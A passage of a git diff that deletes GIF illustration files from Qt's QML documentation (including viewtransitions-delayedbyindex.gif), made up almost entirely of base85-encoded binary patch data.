zaM#mWE$HRe#PfQNJE4)0suuLQ^oMh_YFuCRjjaO$g5(U?SY_o2F8D>q+VZH?I!sWJ z4R4NfC=(-tBbVxJwp;__P-S!8dT!6jvvf%4ed#6|G zwd-yNBl;qsz0>dA!6>5e=#Ok88n4YUt(f^yIKqyeMvLcBFe7 z@F#TEjl&i$iyun~nDIf|^XI4d95LRpv)9{IT%e9}-n<^&^n-718S&hS&4`R{9lcHF zgvh@iDT!QS=1R!7e_HoW#nQmdwj-A5BJN2u6}PDf1$Jxctg#yBlkEv}U(U-Egyhov ztb&QV^)|7TSi|T|G91}izuu{c@Thk7CaggmGWJdCOjOaj+nB@PPelBcPTDZgRwOe_ zWy=pB;%_~G`w~|}FQz{AlEXvg+NEBD=+=D*mbq5q3m2h>Vj?`3nTlgC(%??olBN&e zxm_g9I3Q|uB{PZ&QC}wlBhxy{QY=$3Mu}BuuNgWemB7T!<%B8_3M8nd;HF`WVc}## zFKcj4lA9BC)K;*io_++Lk+WBgB%{xwZ%tD8OrR>yCYG`ArOCZ2D%N5%K4Py9o9ra4 zhOKlp=p1BgUFd;PC|T>xmqXZUh!5hiL)X>Oez^MY2C#xQ^^f=^A|U)#@;Je83cj?E zj!y{zOJ>1z&5PZy>lCQ;<~9yN$fNrp!86{L@qsD;c_iaQtRjH>(&&|M2M>dZ%Mb+W zV+t^lA2HCUKi=G^v-<{=>x}il`h?t__)2jD(_K_Bw>|DF5Liu@1U2PxH0^h1!D{+#}BY556&fb<716ZqjS zBPVqRfbcSc3j{tVeuta5I`W+f|>C&`bQ_UQG_sjMGTY`(WK6QRq1OC>AmZ$iW#rIQsClKZbGbU z*0x^%XV4?S!K7nDB$v4}JSO*IS6B9AzCT;*e*itc%=GZyJOw=j>-3OCgWJ=WLs2I zsUACSLI?#{iinexB&{Q89Xhw1(fkT%&P$mRHaMYTHd?WK0cvpsfDW6DQL-Roikg|z zy?~4OD5i`_(?-fEH#{h|JZ~)C3wz#@lHOM=iz#X78B%imWg0y6Bz8r_vK8XDZuRGD zSW)PQX}Q(=jF>5UZd~q7Ok|9DTv?iF>}!Tv&)D|WVTPA6xYx^)BN>XX_4Dq|^)m2@ zw$P9#)Nw=yNyIm==fg&s@1C<;h^f>1pO={ke92-SUCpIphgXqOgEqP*ZcsRQf3z4;& zV&#oUe6~(8%3?KTM<;RtPQ5nV#XXfOh6I?z-X*I>eg-uIiqw;%rE1;*bsZVpr_}uz z2sHh*htyc^E2XARGqDdy^&KnhfsFPcyf;Y4Qq~uw{Y5W;;5t`06BuYxT z>0|y`*Qu~!sz@cSk`C#KE6x>0k5bt-mvt4|uCj zn9g|TSVAXn5WL&<16@-$f;=w!cOBUOsA6qG(X5XP!N z@4jrIu;hl))2&)_h6GDq)`nTS7PH36N3hniMxv|mp4cfpW4mG{5H%N!VdhRMb?_;M zdX?H_C?%IQyT@u5>@TwJK}n?ZV06BVRM%7w0Lp1R(* zkI(EQ%DDBgt-O(llsW}jo94`G_v}9adGF*JZTmq_GNO^83 zjGJGG4~UhKP$MY`kfPjYogyMgkxNvtOTN7lDn1hTC#4^Z$ViLGhD~0fXTEA+r9erc zAOjYSC_0xaMPQWT9)mXsPn6ojS#={F^}AibB|;}`R9A>j_ePju+GE4a)2@-6MH4Yb z%Xo~H03{e`^+~lc*0FI5w=G|Fbn|oe$#5JXJi4DV@}Rsk)R-r@l&4F*)rq`GYY~*0L+PU@Wd#{!WtHVXmUZf7Mcvbi z_A#JEsWREDvZk@BptP#Crn;`Vx^WRzlU$SOTniMIlr4mEb=H+BJ62_U>$+xTd*aiFbn@Npy1XaYzuCf+u8bhWJSw^g7z*8b?& z`lAbIt?VD{Ye)AzpYGdz(my=;sHO!yiy3>oJki=av;KZ&cV=dH;c-Xx<7e};?LD(= zZ|A$a=T~_c%j=v=ahR#> z!6^7e>A07kEG^N~yejdZlU_81fhq}}!(4!~KHD;A`t0gu#Er+70b7RU>>yyvpzAZ| z4J0}|Up+2WyGmgZyTJX}d$Z`X?C5(Z?FtiB>3hx}3?=L~F(ERq5^_z_UZv2>Fo@Nx zg_)UUy#3b3&}#ftizCn%X5Z$FvH52Bt-TT5De#@PlQ-F~Y66US(62Dj&x$xEVB z^un6ATZeDVV_dFD*v~Z1Y0!JTe>|N>6sV#R$nkE)!*O{-n@-~TvmWQ?pQow5JkIWE zpb%nC$T@GlzZX!qYx2bThaP?OJvs=! zfSt&HH`#8UrC6afF97!|*ojOyAQI3UQMU1?v$bn`k20MgGG>*_7&NhZuUZ#Kr zA8|Sfl_MYF9+cxGw;7bjHV=ZK(n~V}Vz5M~_OY>2%M7qCl!ymIg_HP^>fysh6fvZH zkT-k}!)O*_uot|&(G0;51GSpTfHk@5xov3{c5K{cfsSI|Z8zcOG6-JygovvU>xhy} zT{wyq@kg(OFJBx9i<Q zY*jk>{Jc<<&Z#_gs;u)}QKH-f-LC?E$)>u|cjE5cy4MkUckQH8;`u$ZFA|$~$@;A} z$rwCXw?p|pd}&wZA){kV&b zAJQA{U9P(M2HT_uQ5MHU#S)Cok1t5~5*e)?Zv*XJ!M^B22$8eGrW`}FGpmZEQkPPD zMh{Jxa*AeA4^h7gD4s?v!oH`!HMh0NBaKjLz3|Ob6HZ(LKZ#NU^ymlCfcrHXd$g@h z>L5lh-iB(8vxC?4Aof-%Bc*7Rep&5i%o18{QTt@ z63IbcN_rtW1is_MDRxQj&IlCmZR`Ni@>4=x|Dsu;ipJ4D$a(R*dm<2YyWDEl5Pt@E z0seI)ixo2EA=)7LqaO9;>*b*VCEb>v#Xci+#SQKjQx#%)c;bAt_k8d+E{RY6wSfNo zEt1coN`D_mOiH&OrY343`j1A0;=X!^!B_1?XqOtJl-+Ey$2LW8zeeaY+2A7@AtV!W zgDLs^_FRfML^o+fjp5kF#c+pk1${v|G=J39DXxTos*}g}EA$f}Bvo<*8ndAch6&bb zDO9uo_@a;;YZ70j#DN+SCDn;?(Ara;+>?y=O)GV3-IGrkQz`wrO{_b}#NVJaT1Z$* z#IZL-qgEs^LITsSw!J32j?0xzAFAWWjnC@%3W2*_f(P+gFLJQvR(cldmws%qFPL5p zCEUI~l2oCc`D*f2^+Z|&@5mRYa;OLC5J@d>q);;?EIm;pV^?uWfV%230l6ZnGc~^1 zvp1SvSRe22v2t46=!*XIX^@c2(4}w5p4Wj{?*W95kFU^}*vKk4FSczSw}vpr)dt>- zHS{LTBV?4jvxp#@&pLPZ?x1*Ci1s@-mgyZr78_kzR${OH?5loeEcXvTcfbz?JVSuw z$YFaY<`b89YR%(akw2qm?tLIF<+H%(cXWraXFC9OnGlyQkd{ zuspeOg#SbK`v#n`KvF3Fe5*uGKx+nILWHcY=a>+a8tj4tIAHPKA%elqk)a>F5b>o* z5>gNuBBfv?V>bg}AvnJmSoz5BKz{Y%FJ$P97lOh7UWks4hR&$+j2gPgqyqFno`XYL z;Xm3S1%I|diu@}$L_-CzLsAdM&+wt&*&#Uq90FQv&YK~LGz8DVANau81hr1 z@vmD8Xk7)7p_tr%<%NR1^Z;Ziv}FreFa1P@BJQOC$PidT`GXotu;EV_+)MU;@DmvV zCas^;P-by$X8V(KcF12NJ17SSy$={ss!T^80&7$O8nFPSHZbPyX?5YzFvtG+dKORbeu&8)B6 z3Ww$9FE?H4;qM?6Gnng6;QfT}&e(bLX|F&SCuxq9=N$U($pb>tI_r)(p~H-c4bGz@ z+~tnKiyto^R~~)rQGM{B{O=Qyr%}nYxHLco4gSRb*g0G*=oG_24#351&io;pkx=X; z3`h#GM(gR>fPVdG8!q0{OU?$?NVHfizzogq0Hl!Y8-LXV(665)pK%b496YKjOMD{+ z`t?<^?T}KOgd{1m`zfUvvwGRP=@vFXu;JSEyXBeE-s8I&W+gmYY5(UbkkiyGGlO{wtJXV`y`apun5d(Q6Ov-@gK-seT$z6NscVj(HY;Vx=nZ&+sf1K^>^xG}}ze!i!?y zFuuGb>IB?_9=bu98m2_4LX=f;Dbx*QHp(Vd;5SBjLhFzajLb68x!D7PqKlOVEM9AE zrgdR-Vi=eTU=4HEV$ZC~+p~NgLAY1$LQ*SCO|eN*j>FLH;RLC)wu*}yXMIM}j1+!Z z$vhqOrxetI)MXkGNn0}O6G5fd<9vPIN;+7ELGZAShq7b6^s$GX)KRL4})SO|k?t zo-wQ&ZT?n&8J8k{$8k-{)N~V{LoKIml}6mg(@UYNAA+`qmS#;N2y=uLLu2_$YlqADgagV_4fh&z8kSDQWG(onJ-TGVgOnsTRB|ReN&cM zH&-w28U4y@xnE!0a-isCk#Z`;y`^6;KA;LAlXS@bE^p4Bo|QS;uoWR(D$Ka(gS6 zapE`lDF#Qa{I#ZhG}T_$A$Z^U-i?gs%YD@(BuI_Z2FG)Ha}2H;hzSHUFrWujfQO1a1l7@NU2Xn>~2dtRS8@+P`bd$Y!!Z)Aa@`K@VFP*UDb z0xAeJWnA1oTwRbG`zbNpYly7N4tBK75*R`V1K& zEdTsCO!^dK+DH+{%%sZq;+VMH=>x(Qr(qfd#hCcU;*U|KX$4A5SJdgD(!S528Kz30 z30$eluL}@IcL6fN|wv(Ea#C2&dNDjZUKQ7Kyu)+3BO8g{F za#~T;F2(GIyOR6FGn0knNL-i)$bp0HOiC)j=Xi)HD`iF~CYC`IQ1ybj8l8oSxa+@) ziSE8mu@aZL?Bych>4RPte6mfkB*~=-9Dl^GXfj~+vIch(y&?j7&TVW#!e>)gB&FIp zEz(GtRYG3UHn~H$38?G$s9woGs~+CbrazjQ%GjI!=ns1{0BlP90wV(t<3V|5;0%~Y z7s96wf!pj~@a&xdv#4MJGsS+8i$g$>*7?9`M7#T?XX9e!;V~=XN zP%R^CE$;%YfM#vS5bd!0C*a&Cbx|iRooFeqXghr?f0TwOuwFCd1sKMYrtvsZsNkDU0A(ODlQH)Nw0uek(gCEBjN{URWFajGfJCdpM(gFxDR1 z>2N|1uv893^Jh>;9nYR|E?IC%BDmhX@8);WEqTa2vc>}?<`Eh1k^Imzo#N$)@{UaL zzJd3-9PV5B*w4hskNDiLX30O|#`&v+^Z331U$2161p%>5fhY8WPYQ+joC-5gxR_6+ zwLsK74R2YxWGHaCa5&2RXtbGd^sN?PWp_2|CdNu6COSL@lNM{Mg*~TF3zEIvmJk_` zSUaEWB9VOl)K4%4Ea=j`jnWH=>2-tnj-`wk_l&d*+K%qR@yyhO%o0*&^HL^&r-H4r z2z|Lg!8vJ`R?7s0+~DI2!qNMqVs>ij6^pWhjI!Rvims;>Lo1c-bF}ST4z?;kqN={7 zs-bJY=b@six-_3grHUhnO|8Vc4nX)aP~EXUVD*ZVyuxV8eDg|H9nMG@Z@1GikbAk;@h* zd8?Pxd0^Gz4(JnK%kdgSkJa1uoEcbwf4Bkm&X#vhWXswBO)ULz;>W0aPF%*PFlzYG z*c}X`?2oY4l8KPA{jkr7(Jlsp$bnVRub-Q$X3-* zb{*Ginor2Ssmq@uo+q?@lU=JP@5lxmUqF+X8*%PpCj4fD>C&Wo?8l`w2A%QHa(svB zD7(kRWDIMDsoYzYD#S#hLXzY(OUGhL8B}$!v(y*ap!H@=CCRxlxvguC%*qVb2?48C zIpFBPks)PN21hM8hB@RY8v7u{qSt`!`%8awF0~MSD1A|gm^q7&4i|)}gW0B=rM*p$ z%r@@(QU{Tur(y<$;b1|O3H6Q(14nMMLcyle-Enj^%=+D8i!-GlsfnB^&}fP}7mJ8E zx}d4{q`nPwaFLAH5x(+q(g4G}rX|+a_>XhzFI?2f0h6PK`}$ zs%iu(?$nmw88qJ_MjToOp5_9kjp}(dX9n4uGYirpdewb=VO*e zcbeVErCXtfqqr(*kIZ5xVb_>)b!LJfE}8DNwXKR{Nl(Nl@Y%0m_wwB~I(BnbS02^c z7Z1S^;2>@UJ(F<`5;=hc>%667SaT>7Z%H+#A`(y1Ga(o?l+|>~U_yg8hV6@?+1+UG zw;KiJX}Vw;vOhKg>bQ{Lty*3&dOkm2u)p{dly4go$3zud=rdHmTN3DJ4)sJxQ&_p3 zMG`TjCkXPrR=m7y*rjEL7Yyx$U{yDF#?IL?L7y1@M%~Z@4za6->GzD2@L@@zxe)Y6 zFb_OEo?s)aab>b&zA266ZjH-QsFBK2NysHHIj18RV}?wdaP}&-KdK(wKjv4LavvQ? zM0`sBT+mG7*6f}ijpzuo+)A#}dTlZu_3Fd*ZEDqtU#fOTk9U2(^Xl_!MllETSa(t^ zQ=qHv!)$qIP$Tv+mU0v$0?`PVj+@h5Q|3{n!uJbu;n-~vzP-lQ#nNNV(7 z=oRIiF|^|moC^UTOna>4fO*G{UZo60G*Q&M5PWxvYf3d`>AofDvnrRDh-!-%p19VM z<~ey9=Y0xG(2MJ1xv5i>Bbmi2b7!aRR&(Bi zeB{>jG!)y2EcKFf!k;&fl3K zShNsN3IFkyyBA`}4NRKZKPF8GCj*#mADl6Y{xE0EvX}PR*$;Cje}xuhxM$9waKAs; zndCk@qZ9bMJUe)Zi;HIup9$^ZGaP`=ey}qk6kb@!?jPitkdWxH;D0I4%;Kf?@EJ{> zd68s2D&?SZ`|ONYdS9LerT=&FnJ%^uU}t)md;9V%WeSjIsGGxo#b?Gq|3Lbz37^2e zLQ@mBP9Fop5N$;c(G=RP76)w<;LpxvPX0;IB$=EM?9RF-F7kr^%Ay6L;6eYXMf)p6 z0~A_v+0}bbuQ?!T7VVS}z|mqlmH?3kShRRMk^d4$D{ucH(lP*!1`L?M^Y5NW%Od1u z2PpsDr2$=H5!wZSOCz-cGiD*yt*E=@&R=L+De-w* zRnAF$>@>!CStlOwk~Yj2TVc&<)XpBWm1DDEFs&~*maB)p#p2zq*&MDMw!VVDlGgSB=aBrcY3*12H)*2K~~f|yKDn*b%W}H02g-fR zQ^kyP{&pyX+;?*^rbEO7YMeK8fALvP6Ivf!zQy+o^9qg=Vj`Yyco^b|H{Bfc%uqi8 zkvL^-k(i?X5h7W-|#SGm5G$M&?@KPM9X)MinSjn|5fAI|f!GU{hQi^s)* z(@PV)x$I1bzC5SrUW5YR%Wz*%)8>jcmJ_6-So$lyYccPzmd*rH4(Be;*j|iY!XqbB} z1HCtx_HnGWj1-#{6_5Ru88Ga|jJ}Ba;rwXY6XX&dgr_WtKU=LF%cw5ubh%-^|SI%-{)FTze z+*2|bx4fYL)M2DYD1bES{iL&VRxaEmfW&7}m9HNjpRLC*ql>|OgJeccOTSb3_-WAvJk!*W zKP|+N&UG)u5Y8$x(Noz{+?*;EXf}+-T!7T;8ek4}Q$!8npoXVGw%;Mp8;&JO^)THK zlBRRrE_W-4QuqdQqFktn=!&5F#;X)U&1?7*u3_vfRuY6;AzjRt2 zaYo7vnK!6PA;$&4FZk~E@O~D3S@bb6+4X$D@}V2wQfe7|qq+5QTda&no-KX?P6-%z zVsQzU;^UrEIsyqVPnVu8Ha0Lx$mN`3hHbTvFkj^;Q4f_Kw$9tkr0p3`ndnNJH{O;$ zBay9cJmQ#TvbSfvbXl4^X*AB$Ec1~qf5tggd|WqzkyXuFkY&4=-f_WW^1Z!mqa}lY za+`j4XoebG*@IsXy;zsB)|Rl4%-vT8=54&GDk?o0YL4RNJ}K6p;JVDgt7E4|#pKi1 z7g{(GGqMFPV<`=bVe~t3Sm-@o!^L(pNG=CKJz^S(ke~)PU@80wxK0HQkwc&nL(C3G z)`zQRQLt`<108tQ!<{8%r+yKO0sARsJig#PjXaCkhJ(L)je81ha(wrNKjfNK%-D*a zL}ltSaxCa@A7p?Vlxy1gT^l8e_Q@)?4$sy{-L`17os#P{<%FhxHM)ncapdCsV_x~+ a)N}v;-5?Mh@Bx9rD7yXhrhoG{IsPANqrcAp diff --git a/src/qml/doc/images/viewtransitions-delayedbyindex.gif b/src/qml/doc/images/viewtransitions-delayedbyindex.gif deleted file mode 100644 index 4ece2a2ffbb9a1f181fd978bcb3f2831817407a8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 69623 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 